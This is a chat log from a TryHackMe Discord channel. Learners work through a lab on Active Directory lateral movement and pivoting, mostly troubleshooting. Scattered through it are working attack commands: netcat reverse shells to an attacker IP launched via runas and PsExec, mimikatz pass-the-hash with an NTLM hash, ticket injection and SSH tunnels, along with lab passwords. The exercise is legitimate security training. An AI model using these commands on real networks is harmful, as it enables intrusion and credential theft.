[] Using URL: http://thmjmp2.za.tryhackme.com:7777/wTPndpwdZls3vfc
[] Server started.
[] Sending a malicious request to /
[] Server stopped.
[] Exploit completed, but no session was created.

I've already have an SSH connection with tunneluser.
On that connection I got the following messge after running metasploit:
"connect_to thmdc.za.tryhackme.com port 80: failed."

iron night
#

Hi, i just started the Laterla movement and pivoting and and started with an issue ( i just wrote the solution for a colleague just above ) but i want to follow the indications word by word. It asks me to run:

systemd-resolve --interface lateralmovement --set-dns $THMDCIP --set-domain za.tryhackme.com

When i run that (replacing obviously the IP) it seems systemd-resolve does not come by default (as many say). I googled it and it say sto run the below:

apt install systemd-resolved

once its finished i tried again and the same effect. when i check what options i have with systemd this is the result:

#

i usually would populate /etc/hosts or /etc/resolv.conf

#

and good to go

#

but i want to figure this out

#

any help?

iron night
#

well, after simply adding an entry to /etc/hosts i can actually do nslooup perfectly but when i try to go to the distributor to get the credentials, it's not working ๐Ÿ˜„

upbeat herald
#

For whatever reason, I don't have the lateralmovement interface defined in the attack box

#

The previous rooms in this series worked flawlessly. this one is not behaving like the others

feral granite
upbeat herald
#

I did. I even terminated it and tried to restart it in the room, twice

#

ip a shows enumad but not lateral

feral granite
#

What interfaces do you have?

upbeat herald
#
lo
ens5
enumad
docker0
veth22e29e2@if5
veth0f22abb@if7
#

When I was doing the enum room yesterday, i had interfaces for all the ad rooms

feral granite
#

I'm going to boot one up. ๐Ÿ™‚

upbeat herald
#

Okay appreciate the help!

#

im on network 100.200.51.x/24 if that matters

feral granite
#

I got one for lateral.

upbeat herald
#

hmm

#

i see theres a folder with network configs on the attack box, is there a way for me to manually apply it?

feral granite
#

I'm not sure, regarding the attackbox

upbeat herald
#

im going to try terminating the box, logging out, logging back in and relaunching

feral granite
#

That sounds good. ๐Ÿ™‚

#

Remember to start the attakbox in the room

upbeat herald
#

ok so i did that and it didnt work but i noticed something odd

#

The lateralmovement and pivoting file is empty

#

MIght have to try this later from my own Kali VM instead

feral granite
#

That would be better.

upbeat herald
#

i think i figured it out @feral granite

#

Then I terminated and restarted the Attack box and it had the interface

#

add it to the kb if anyone else has a similar issue ๐Ÿ™‚

feral granite
#

Ah, there we go

remote swan
#

i cannot able to get shell using psexec64

#

anything i missed?

remote swan
#

im not getting shell guys please help

#

this also not getting connection back

#

any help

remote swan
#

and the solution is to use windows/shell_reverse_tcp

#

if you are not using metasploit

iron night
#

Someone that would be so kind of sparing 5 mins to guide me through the initial setup of the lab?

feral granite
iron night
ripe meteor
#

The server needs to be restarted

#

THMIIS don't respond

hazy egret
#

What subnet? You can also vote for a reset yourself once every hour.

thorn moth
#

i can't ping the DC.

#

can somebody help?

#

THM says that I am connected on the "Connection" page.

feral granite
#

Is the DC windows?

thorn moth
#

yes

feral granite
#

So you can't most Wondows machines by default.

thorn moth
#

yes but the DNS resolution is failing too.

#

ok I resolved . my network manager didn't restarted properly.

toxic egret
#

Help me in this too

#

I'm getting same issue

#

Dns resolution failing

#

Also everytime I have to change my resolv.conf to 8.8.8.8 to use internet . I can't use internet before doing this setting need help in this too

icy swanBOT
#

There are no URLs in that message.

shrewd flame
feral granite
neat kite
#

Hi all! [Task 7] - RDP Hijack. I'm attempting to hijack a RDP session however getting user/pass incorrect. Anyone run into anything similar?

#

(running with administrator priv on cmd)

#

[solved] - had to upgrade privs! ๐Ÿ™‚

placid stag
#

Hello, I have a question about attack techniques.
I have one machine A at 192.168.20.0/24, two machines B and C at 192.168.120.0/24. I was able to attack and get privileges on machine B, as well as Pivot from machine B to attack machine C. But what I can do is just operate through the Web Shell available on machine C. So how? Can I create a Reverse Shell from machine C back to my machine A? Any keywords or articles on this matter would be welcome, I would greatly appreciate it.
Sincerely thank

potent meteor
#

Hav a feeling I'll be needing some help getting through this AD part of the CompTIA Pentest+ path. If anyone else wants help or work together lmk. I'll provide what advice I can in return.

glossy timber
#

hello, I am doing Windows- Lateral Movement and Pivoting-Abusing User Behaviour . I cannot get the credentials at http://distributor.za.tryhackme.com/creds_t2 to start the task. The network state is running and started. openvpn is on. Had no issues connected with the network until now. Cant connect to server...

pseudo belfry
#

Cant seem to get the ptt attack to work. Ive tried both t1_toby.beck tickets and keep getting the same error.

  • File: '[0;2f49e9]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi': ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthentica
    tionPackage KerbSubmitTicketMessage / Package : c0000133
    ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c0000133

  • File: '[0;9c65b]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi': ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticat
    ionPackage KerbSubmitTicketMessage / Package : c0000133
    ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c0000133

mint kayak
#

hi, someone have a problem to ping to thmiis machine?

mint kayak
#

someone?

#

@feral granite

mint kayak
#

nevermind, i resolved it

late dagger
#

Guys I am connected to my machine vias SSH but when I run msf I get the following. Any ideas what is wrong?

#

Nvm did more reading in the Discord and it worked by replacing the name with IP

swift crater
high nova
#

Hi, I am going through Lateral Movement and Pivoting room. When signed in to thmjmp2 with provided credentials, I cannot find the mimikatz executable in C:\Tools. According to description it should be there. How can I get it back?

frank heath
#

Hello everyone. I have an issue regarding Remote Process Creation using WMI. I logged on the THMJMP2 using the account that is in Tier 1 Admins group (t1_corine.waters). From THMJMP2 I execute wmic /node:10.200.104.201 process call create "cmd.exe /c whoami" just to test if it will fail. I have ERROR: Description=Access denied
I also tried putting the full command

de:10.200.104.201 process call create "cmd.exe /c whoami"```
Any ideas?
weary torrent
frank heath
weary torrent
#

it is for win10+ and server 2022+, but in this case, I think it's just not configured to allow usage

hidden aspen
#

Hi guys, I have some questions, please if you can clarify it for me, we have t1_leonard.summers with admin access:

  1. I can use this account to connect directly via SSH to THMIIS, but I can't read the flag.exe file, why?

  2. I created a reverse shell binary and uploaded it to THMIIS, used t1_leonard.summers to access THMJMP2 via SSH, from there I used sc.exe to start the service and got the shell with nt authority\system session, Why does it work without having to use runas.exe?

weary torrent
#
  1. sc.exe, by default (as far as I know) creates services as SYSTEM unless you specify a username. The fact that you're creating the service as a particular user does not make that service run as that user by default.
hidden aspen
frank heath
#

If you don't want to maintain persistence connection to the target victim you can use the jump host to connect to the victim and do let's say one shot activity. But what happens if you loose the jump host connection and you won't be able to access the victim (in scenario where only from jmp host you can access the victim). If you want to maintain persistence I think it is always preferable to use reverse shell. Similar analogy to bind/reverse shell.

swift crater
hidden aspen
#

@weary torrent @frank heath @swift crater thank you guys blobfingerguns

honest steppeBOT
#

Gave +1 Rep to @weary torrent (current: #423 - 10)

odd pine
#

I'm stuck on Task 3. I think I'm supposed to open a reverse shell from JMP2 to the Attackbox, with elevated privileges, using the runas /user:t1_guy command, but it just gives me a shell with the same user. (I suppose that I must be the t1-guy, to be able to create the service with sc.exe in the next step.)

#

Why would "runas /user: ..." fail silently, (and instead run the command as the calling user), when given valid credentials for the t1 user?

odd pine
#

Solution: I had to switch to Remote Desktop for the unprived user. The runas step didn't work when connected by SSH.

#

I guess this is due to how UAC works.

weary torrent
# odd pine I guess this is due to how UAC works.

The task mentions this: "Still, we only have SSH access to the machine, so if we tried something like runas /netonly /user:ZA\t1_leonard.summers cmd.exe, the new command prompt would spawn on the user's session, but we would have no access to it. To overcome this problem, we can use runas to spawn a second reverse shell with t1_leonard.summers access token:" So to get access, the runas can be used to spawn a shell.

odd pine
#

@weary torrent I don't think the indirection via 'nc' adds anything, privilege-wise.

weary torrent
odd pine
#

Lesson learned, fwiw. ๐Ÿ™‚

near cloud
# high nova Hi, I am going through Lateral Movement and Pivoting room. When signed in to thm...

Same problems here.. I did the following and downloaded myself

Attackbox:

  1. Download https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20220919
  2. Extract contents.
  3. Run "python3 -m http.server 8080"

THMJMP2:

  1. SSH to the THMJMP2 server following the room steps as you would normally.
  2. The SSH session will be a CMD session, uplift to Powershell.
  3. Change directory to C:\Tools\
  4. Download Mimikatz.exe from your Attackbox python http server "wget http://<ATTACKBOX_LATERALMOVEMENT_IP>:8080/x64/mimikatz.exe"
  5. You can now run .\mimikatz.exe and carry on with the rest of the room.
#

enjoy

frank heath
#

I have some error on the RDP Hijacking part. I just connected with RDP to the server with credentials from http://distributor.za.tryhackme.com/creds_t2

Could not connect sessionID 7 to sessionname rdp-tcp#51, Error code 1326
Error [1326]:The user name or password is incorrect.

I tried to attach my SESSION represented by rdp-tcp#51 to ID 7 owned by t1_toby.beck2 (tried with other IDs also)

high nova
honest steppeBOT
#

Gave +1 Rep to @near cloud (current: #1967 - 1)

weary torrent
frank heath
honest steppeBOT
#

Gave +1 Rep to @weary torrent (current: #392 - 11)

swift crater
#

hi .. i was run my vpn file for lateral movement and it's run ... how to configure the DNS?
I was do what i know from breaching AD and frmo enumerationAD but still cannot nslookup za.tryhackme.com should i start the network room forst before setting up the vpn ?

#

but the network was start

#

nvm i was solved it ..

swift crater
#

i am using THMJMP2 and try using mimikatz got error

mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

Can somebody tell me why ?

weary torrent
swift crater
hidden aspen
#

hello guys, i have a question please, why when using "Installing MSI packages through WMI" i have an access as "authority system", but when i did the same thing by using "Remote Process Creation Using WMI" it gives me an access as "za\t1_corine.waters" ?

#

i created a .exe payload and i uploaded it to the THMIIS, so in the THMJMP2 i did:

PS C:\Users\bradley.cook> $Command = "powershell.exe -command Start-Process -FilePath 'C:\Windows\myinstaller.exe'"

so in the metasploit i got:

C:\Users\t1_corine.waters\Desktop>whoami
whoami
za\t1_corine.waters

C:\Users\t1_corine.waters\Desktop>flag.exe
flag.exe
Sorry! You are still missing something. No flag for you yet. (1)

boreal cairn
#

does ZA.TRYHACKME.COM\t1_leonard.summers account get locked out after to many failed attemtps? I can get the EZpass4eve password to work

honest steppeBOT
#

Gave +1 Rep to @near cloud (current: #1313 - 2)

potent meteor
#

Mimikatz is still not downloaded in THMJMP2 in C:\tools

#

users have to download it manually

potent meteor
#

No flag on t1_toby.beck's Desktop

#

@shadow linden It looks like the Windows Defender quarantined both mimikatz and the flag on t1_toby.beck's Desktop. The room can't be completed because of this

#

Also, I got a shell as t1_toby.beck and was able to see Administrators' Desktop files. I don't know if that should be possible but I was expecting an Access denied message (im a noob tho)

swift crater
hidden aspen
#

i have this:
"mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

Notice we used token::revert to reestablish our original token privileges, as trying to pass-the-hash with an elevated token won't work. "

Can someone please explain me what does main "token::revert used to reestablish our original token privileges" ?

hearty oar
#

Why would one like to switch to the target's native shell (Like CMD in a Windows target) from the Meterpreter?
In which commands/operations should he do that?

potent meteor
potent meteor
potent meteor
potent meteor
#

I tried samba but I was googling for too long for the commands

swift crater
potent meteor
honest steppeBOT
#

Gave +1 Rep to @swift crater (current: #313 - 14)

swift crater
#

no prob, I just need to read carefully and follow the step by step. they was in there and add some logic to follow the right step.

#

a little mistake can make you back from beginning again.

potent meteor
quiet loom
#

If lsass pulls the hash values from memory while dumping, How can I get the information of the entered users before the computer is restarted? I performed the lsa dump with Crackmapexec and how did I obtain the hash value of the Administrator user that I logged into 20 days ago on the win10 computer in the AD environment?

thorny tartan
#

could someone please vote for a reset?

full drum
thorny tartan
snow oracle
#

Hey guys

#

When I run the psexec64 command shown below with the user t1_leonard.summers and password, I get access denied error

#

I am running this command from the jump host

#

I know that this isnt the โ€œintendedโ€ way. However the description states that it should work

full drum
#

maybe you need to open said terminal in administrator mode

snow oracle
#

I ssh into the jmp machine with my generated creds. How can I open a admin cmd?

full drum
#

ah.... well dunno then

snow oracle
#

To run psexec, we only need to supply the required administrator credentials for the remote host and the command we want to run (psexec64.exe is available under C:\tools in THMJMP2 for your convenience):

psexec64.exe \MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

#

This what the task states

full drum
#

maybe you need to use rdp

hidden aspen
#

hello everyone, please can you tell me if there is a problem on "Lateral Movement and Pivoting"n it's not working for me, Network state: Resetting from yesterday

tacit rivet
hidden aspen
honest steppeBOT
#

Gave +1 Rep to @tacit rivet (current: #86 - 72)

rocky plinth
#

Hello everyone, I'm having an issue with room Lateral Movement and Pivoting.
Every machines seems to be offline. Network state is running, webpage is refreshed, my VPN connection is OK, reset is 1/5...

Someone can help me ?

fossil comet
#

Anyone able to assist, I on the part where I create a nc session with the administrator account, I run "nc -lvp 4443" in one terminal window, then I run "runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.10.201.140 4443"" in the ssh session with my user, and the shell just never comes up. I'm not sure what I'm doing wrong

fossil comet
#

So I realized what I was doing wrote with that part, I needed to use the IP address from the lateralmovement interface I established. which was a dumb mistake... except now my DNS has just stopped working, and I cant ping anything on the network I supposed to be moving around in

#

and systemctl restart systemd-resolved did not fix the issue at all

hard isle
#

Hello Guys! Could someone help me to setup Network OpenVPN on Kali?

#

I'm connected to the network, but I should configure my DNS.

#

I'm trying to follow the decription in the Room:

#

Network Manager -> Advanced Network Configuration -> Your Connection -> IPv4 Settings
Set your DNS IP here to the IP for THMDC in the network diagram above
Add another DNS such as 1.1.1.1 or similar to ensure you still have internet access

feral granite
#

Yeah, don't use the GUI.

Edit your resolve.conf file.

hard isle
#

Okay. And what should I do there?

#

I have these two.

feral granite
#

/etc/resolv.conf

#

Check the #breaching-ad pinned posts, and take my steps and apply it to this room.

hard isle
#

Alright! I'll take a look.

#

@feral granite I appreciate all your help man! Once I'll get you a beer! ๐Ÿ˜„

#

I probably will have a lot more question in the future coolguy

storm stratus
#

Hey all I'm getting channel_setup_fwd_listener_tcpip: cannot listen to port: 6666
bind [10.50.65.127]:7878: Unknown error
channel_setup_fwd_listener_tcpip: cannot listen to port: 7878
Could not request local forwarding.

When attempt to initiate the ssh tunnel, for the last flag. I've tried a few different things and still can get this working.

#

The command:
ssh tunneluser@10.50.65.127 -R 8888:thmdc.za.tryhackme.com:8
0 -L 10.50.65.127:6666:127.0.0.1:6666 -L 10.50.65.127:7878:127.0.0.1:7878 -N

#

Not sure where I'm messing up

hard isle
#

Ping the address works

#

Edited the resolv.cof file with the IP on top

feral granite
#

Try sudo.

hard isle
#

Same.

feral granite
hard isle
#

Yeah. Just tried it ๐Ÿ˜„

#

In this case, the problem is with nslookup?

#

But the rest should work?

feral granite
#

If the link works, yeah.

Don't worry about nslookup

hard isle
#

Okay then. Thanks. Have a good day! Wish me luck ๐Ÿ˜„

tawdry brook
#

Hello @ all

Network is still resetting? Displaying this for a quite long ๐Ÿ˜ข

fossil comet
#

So this has been the single most frustrating room on TryHackMe... I realize the other two posts I made here were my own dumb mistakes due to me not reading directions or pinned comments... so I understand why I was ignored. However, this time I'm completely at a loss. I'm on task 6, I generated the new t2 credentials on the new credential page, then when I try to rdp into THMJMP2 with xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_jessica.richards /p:o6R9PfosU the xfreerdp window opens, then gives me a bad password error, when I retype the password into the login window I get a bad password error again. I've generated new credentials thinking that maybe there was a problem with the page that makes them, and gotten the same result. Now, the really confusing part is this. if I present the wrong credentials to the xfreerdp command by changing the username or password the command fails with a "Error: protocol security negotiation or connection failure" message in the terminal. So like the remote server knows that I'm presenting the correct credentials, but they aren't correct.

naive narwhal
#

xfreerdp /v:ip_of_thmjmp2 /u:rick.ross

naive narwhal
#

this box has been resetting all day

tawdry brook
#

Can someone please fix this network? Keeps resetting since 2 days.

#

Okay i had to leave the room and rejoin. Now it is working.

abstract meadow
#

Is anyone else having trouble with the Attack Box in this room? Every time I start it, it is missing the "lateralmovement" interface. That seems to be set up by an OpenVPN config that is downloaded from S3 when the Attack Box starts - but the file it is downloading is 0 bytes.

opaque ridge
#

Hi, the room is in resetting mode since probably 15th, does anyone know something?

ebon dagger
pastel rose
#

ssh za\t2_felicia.dean@thmjmp2.za.tryhackme.com
ssh: connect to host thmjmp2.za.tryhackme.com port 22: No route to host
I got this error after I forgot to extend the network and it stopped. I am able to visit distributor site though.

ebon dagger
#

then join back after 15 mins and reconnecting with the open vpn file

#

my issue now is that I cannot connect to this felicia.dean account even when I type in the correct password.

#

maybe I have to try once more and stop feeling sorry for myself

zealous grotto
#

Hi folks, someone experiencing in the task3 the t1_leonard.summers/desktop folder is empty, no flag.exe there

zealous grotto
swift crater
steep oar
#

trying to do this room and the C:\tools directory is empty on THMJMP2 where the command in task 3 is saying to run nc64.exe out of there. Anyone else experience this?

#

I went ahead and voted for a reset but it's only 2/5 so I guess I wait.

steep oar
#

after reset the file was back. I see someone else is dropping files in the c:\tools directory like crazy and perhaps wiped out nc64.exe & others when they tried to clean up. if you run into what I sent above, vote for reset or find a way to copy nc64.exe back to THMJMP2. I kept getting access denied when I tried copying from THMIIS.

west pumice
#

make sure you have perms in it

steep oar
#

either way, I was only attempting to copy that file over because someone had wiped out the tools directory and screwed everyone else over. the reset fixed that and put the file back

somber saffron
#

https://imgur.com/doxok9X Im stuck on TASK 3 of this room, well the side mission, been trying to solve with PSexec, I get a shell on the THMIIS machine as t1_leonard.summers, which shown in the image. However when I go to open the Flag I get "Sorry! You are still missing something. No flag for you yet." but I can't think of what step I have missed? Has anyone got a step by step or offer up a clue? I used PsExec64.exe \\thmiis.za.tryhackme.com -u ZA.TRYHACKME.COM\t1_leonard.summers -p EZpass4ever -accepteula -i c:\tools\nc64.exe -e cmd.exe 10.50.89.29 4445 to get the shell I presume this is the correct method? Any help would be appreciated, I think im on the right path...

swift crater
scarlet krakenBOT
swift crater
heavy jacinth
#

trying to start this room by following the instructions, but no luck

#

i checked and lab is up, not sure what else I can do

#

tried the same thing from kali

heavy jacinth
#

got it to work with attackbox after leaving and entering the room multiple times....very finicky lab

somber saffron
#

Still having this problem on Task 3, im running as system but still no flag, this is using the PSexec method, im clearly not understanding something properly if someone could help me out would be much appreciated

mighty tide
#

In Task6,Unable to obtain system permissions

#

I get certs through this link

ebon dagger
#

mimikatz showed disconnected all of a sudden

remote cypress
#

OMG I was just searching for answers for the same question and found your answer...it just unstuck me. ๐Ÿ˜‚๐Ÿ˜‚๐Ÿ˜‚

tepid goblet
#

yo

#

anyone got some insight on SMB relay over pivot

#

I got a diagram I want to share and see if I can get some insight. I was told to diagram my setup and TR. Kinda need some help

potent meteor
#

hello, i am doing the laterlamovement room, but I'm having trouble connecting to the network, i ran the command to configure the dng with THMDC ip but when i do nslookup it fails. i also tried from kali with network manager but it failed too, would it be possible to get any help?

#

i also tried on the kali by inserting the ip in the DNS section of the IPV4 of my connection and resetting network manager but its not workin

feral granite
drifting charm
west pumice
#

I can not seem to get impacket to work over proxychains

#

ssh -i user@ip -D 9050

steep oar
drifting charm
feral granite
#

This is a good way to troubleshoot problems you may encounter on your own.

foggy iron
#

funny how the same issues still happen on t1_toby.beck since 2022 without any answers on what's going on hahaha

#

another case of t1_toby.beck with no ticket at all

#

and sekurlsa::tickets /export running for 5 real minutes non stop with a bunch of t1_toby.beck, t1_toby.beck2, t1_toby.beck3, t1_toby.beck4, t1_toby.beck5, t1_toby.beck6

deft hinge
#

So I was connecting to WMI from powershell, and i had a rdp session running,
when i tried Invoking CimMethod, it gave me return value 3, which basically means incorrect registery permissions, however when i tried the same with an ssh session, it worked.. is there any specific reason why?

silk sorrel
little karma
median tusk
#

anyone else have trouble just connecting via ssh to the machine? as soon as I try to connect, connection immediately closes. Tried few different times now over a couple days.

hard isle
#

Is that a mistake in the Description or am I missing something?

#

In the command Dynamic should use -D instead of -R, right?

hard isle
#

Another thing I need some help with... At the Port Forwarding section, at the end by the Exploit...

#

How am I suppose to discover that open port for myself?

#

I tried many different nmap scan, but I can see it's only filtered.

#

I tried through a Dynamic Proxy as well, but still Filtered.

#

How can I discover that there is a HTTP running?

candid anvil
#

Seems that the network isn't working since yesterday already, or is it just me?

error: Cannot ioctl TUNSETIFF lateralmovement: Device or resource busy (errno=16)

little karma
# candid anvil Seems that the network isn't working since yesterday already, or is it just me? ...

I have just been able to do Task 1, both with the AttackBox and my own local Kali VM
I have noted some changes over the past 24-48 hours for that network: before, on the AttackBox, you had to use the VPN, as there was an issue; that issue seems to have gone: the lateralmovement interface is there for you automatically (in addition to interaces for other networks, like persistad for instance)
if you use the VPN, one trick that usually works if you cannot ping the DC, is to regenerate the VPN (I had to do it 20 minutes ago)
in case you keep having issues, please share screenshots, and I'll compare them with my side

candid anvil
lyric quartz
#

Network still not working, or is it me? I tried to regenerate the vpn, got the greenlight on access but couldnt access the creds page after adding the ip to ipv4 settings and restarting NetworkManager.

lyric quartz
#

Disregard, I got it working on the attackbox. Just wont work on my kali laptop ๐Ÿ˜

#

Actually, I'm just a moron and entered the wrong IP on my laptop. facepalm

gilded patio
#

im solving AD labs lateral movement and poivaiting when i crating sc task to run THM they give access denied ? why ? how can i solve
ignore spells

torn ridge
#

Rather aggravating. The ssh keeps timing out on Task 7. Re-entered everything several times.. yet still times out and will not make that call from socat listener in THMJMP2.

obtuse drift
#

MIMIKATZ is missing from thmjmp2. I have uploaded the exe from my attackbox but its never there when I go to run it. Is Defender deleting the file as soon as I upload it?

foggy summit
#

As per the documentation, the web based attack box should be able to ping the DC but this is not the case with me. Please guide.

I am getting Destination Host Unreachable

little karma
hollow latch
#

hi all, any idea why this is happening

tepid cove
#

Smh it can't dump the las

patent urchin
#

Hi,

I'm on Task 6 Abusing User Behaviour, similar with Task 7 Port Forwarding

THMJMP2 via RDP
xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD

Using Kali, I keep getting this error:

[07:13:48:067] [1151360:1151361] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[07:13:48:068] [1151360:1151360] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

If using AttackBox it's working.

Anybody knows the fix?

Thank you

patent urchin
deft locust
#

dose anyone have a problem in the room

#

i can not start it

latent owl
latent owl
# deft locust dose anyone have a problem in the room

Leave the Network (Options > Leave) and rejoin the room, and it will work. The error message can be improved on the room page. The real reason it fails, is because (in the system) you are no longer in the subnet network, so leaving and rejoining fixes that. ๐Ÿ™‚

honest steppeBOT
#

Gave +1 Rep to @latent owl (current: #16 - 487)

deft locust
#

it works ๐Ÿฅฐ

forest wedge
forest wedge
# forest wedge I'm having the same issue... have you been able to solve it?

my bad... I was using the attack box and didn't properly read the end of the Introduction section:

If you are using the AttackBox and have joined other network rooms before, be sure to select the IP address assigned to the tunnel interface facing the lateralmovementandpivoting network as your ATTACKER_IP, or else your reverse shells/connections won't work properly. For your convenience, the interface attached to this network is called lateralmovement, so you should be able to get the right IP address by running ip add show lateralmovement

forest wedge
#

However I have a question: if I have the credentials for t1_leonard.summers, why can't I just directly ssh to thmiis with his credentails instead of using all these rev shells? If I do that I can see that I'm not nt authority but just t1_leonard.summers. How can I elevate from there?

charred rock
#

Am I crazy or does THMJMP2 not have SSH client installed on it? Working on lateralmovementandpivoting > Port Forwarding > Tunnelling Complex Exploits > "Putting the whole command together, we would end up with the following:"

#

Oh weird, it's on path for cmd but not for powershell

hearty hazel
#

hello guys

#

I am having an issue with the attackbox when resolving the DNS for THMDC. Any suggestions?

#

Error: Failed to resolve interface "lateralmovement": No such device

#

solved

analog python
#

Hi guys,
Im having issues iwth the DNS from attackbox, Im doing the instructions form the introduction but Im not able to resolve the domain:

root@ip-10-10-252-163:~# THMDCIP=10.200.48.101
root@ip-10-10-252-163:~# systemd-resolve --interface lateralmovement --set-dns $THMDCIP --set-domain za.tryhackme.com
root@ip-10-10-252-163:~# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

any idea?

#

Solve updating file /etc/resolv.conf

static radish
#

hello, i am doing the laterlamovement room, i am trying to perform a pass-the-ticket attack but i do not seem to get any additional permissions by doing so. I export the tickets with mimikatz and inject a TGT into the Session with mimikatz. After which i tried to run PsExec, Misc::CMD, query SMB and so on but i do not seem to have any additional permissions. Am i doing something wrong? Edit: i am using the ticket of the t2_felicia user which has local administrator permissions.

exotic shell
#

hello, I need help with DNS resolution. I'm trying to resolve thmdc.za.tryhackme.com with nslookup but it is giving me a recursion error

nslookup thmdc.za.tryhackme.com
;; Got recursion not available from 10.200.48.101, trying next server
Server:        8.8.8.8
Address:    8.8.8.8#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

It only works when i explicitly mention the dns ip

nslookup thmdc.za.tryhackme.com 10.200.48.101
Server:        10.200.48.101
Address:    10.200.48.101#53

Name:    thmdc.za.tryhackme.com
Address: 10.200.48.101
  • it's happening for all the domain resolutions

But when i use my browser i can resolve distributer.za.tryhackme.com

my resolv.conf configuration:

# Generated by NetworkManager
search localdomain
nameserver 10.200.48.101
nameserver 8.8.8.8
nameserver 192.168.177.2

my route table:

10.50.46.0  0.0.0.0 255.255.255.0  U  0 0 0 lateralmovement
10.200.48.0 10.50.46.1 255.255.255.0UG 1000 0 0 lateralmovement

any help will be appreciated.

exotic shell
#

It has been fixed, only had to reset the network.

limber marsh
#

Be me.. Spending an hour figuring out why my reverse shell with the service was not working. Found my NIC on attack machine changed so my msfvenom payload had the old value ๐Ÿ˜ญ

#

Was fun to research why. Got to use PSSession to remote into the host so I could verify my payload was actually in ADMIN$ and that the service specified the correct destination.

mental pebble
fringe flare
#

I am wondering why I should use thmjmp2 to thmiis.. Because already gave t1_leonard.summers as user and password also provided why I should do lateralmovement.. For this case.. Were can directly connect to it using ssh

whole ember
honest steppeBOT
#

Gave +1 Rep to @whole ember (current: #77 - 112)

whole ember
#

Can someone reset the network please?

#

SSH isn't even working anymore.

keen void
#

i might need someone to reset the network, the network stopped and after restarting my machine refused to resolve any domain in the network. Thank you

keen void
#

i might need someone to reset the network, someone removed the mimikatz. Thanks

fresh lark
#

Hi! I think the network needs to be reset. I can ping the THMJMP2 with IP, but not THMDC

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/tryhackme/ad_lateral]
โ””โ”€$ nslookup thmdc.za.tryhackme.com 10.200.51.101
;; communications error to 10.200.51.101#53: timed out
;; communications error to 10.200.51.101#53: timed out
;; communications error to 10.200.51.101#53: timed out
;; no servers could be reached           

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/tryhackme/ad_lateral]
โ””โ”€$ ping 10.200.51.101                           
PING 10.200.51.101 (10.200.51.101) 56(84) bytes of data.
^C
--- 10.200.51.101 ping statistics ---
178 packets transmitted, 0 received, 100% packet loss, time 181756ms
                                                                                                                 
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/tryhackme/ad_lateral]
โ””โ”€$ ping 10.200.51.249                           
PING 10.200.51.249 (10.200.51.249) 56(84) bytes of data.
64 bytes from 10.200.51.249: icmp_seq=1 ttl=127 time=129 ms
64 bytes from 10.200.51.249: icmp_seq=2 ttl=127 time=48.8 ms
64 bytes from 10.200.51.249: icmp_seq=3 ttl=127 time=63.4 ms
^C
--- 10.200.51.249 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2024ms
rtt min/avg/max/mdev = 48.773/80.500/129.284/35.011 ms
fresh lark
#

In Task 5, are all Pass-the-Hash, Pass-the-Ticket and Pass-the-Key possible? I succeeded using PtH and PtK, but did not find a ticket for t1_toby.beck?

tired eagle
#

I am in room - Lateral Movement and Pivoting, task 4 Moving Laterally Using WMI. I followed the instruction and got the flag via Installing MSI packages through WMI. Then I played around and tried to do the same by creating a remote process using WMI; I got it working but at the end, it said I am still missing something and no flag for me. Anyone know the reason why?

tired eagle
ember anchor
#

my mimikatz.exe is missing from falicia machine !?

mighty night
#

I'm working on Task 2, and when I use runas with Leonard's creds to get a reverse shell back to my box, it doesn't appear to run as Leonard. When I type whoami in the resulting shell, I'm the user I'm logged onto ssh as

#

Huh. It seems like it works anyway though

rigid lake
#

mimikatz just disappeared on the THMJMP2 machine when I was in the middle of using it. It was there in C:\tools then disappeared after I used it

vagrant latch
#

.

rigid lake
#

mimikatz is still not on the t2_felicia.dean@thmjmp2 machine. This is starting to get irritating

rigid lake
#

in Task 7, I cannot ssh to the tunneluser I created on my kali VM, im using ssh tunneluser@<lateralmovementIP> and times out. Also, in the Attack Box, even after adding the THMDC to the resolv-dnsmasq and nslookup will resolve the IP, the creds site isn't accessible on the Attack Box, I can access it on my Kali VM when connected thru openVPN but not the Attack Box. This room needs some attention.

fallow anchor
hollow trail
#

Hi , i am actually struggling to use mimikatz , i have this output when i run privilege::debug : ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

#

i give up , i'm gonna try to sleep

small spire
#

With, for example, uploading an msi and running it using wmi. Does the upload using smb to /admin$/directly place the msi in C:\Windows\? Like is that share directly connected to that directory? And if this share is not available, could I upload it to a different share and use that path in the Invoke-CimMethod?

ornate basin
#

Why does nslookup timeout when it was working completey fine?

nslookup thmdc.za.tryhackme.com

;; communications error to ::1#53: timed out
Server:         ::1
Address:        ::1#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

And what is the proper way to reset everything so I can set up again from scratch?

ornate basin
#

@whole ember @gilded zephyr Spammer (sorry I don't know how to properly ping the mod group)

urban holly
honest steppeBOT
#

Gave +1 Rep to @latent owl (current: #17 - 576)

urban holly
sacred dagger
#

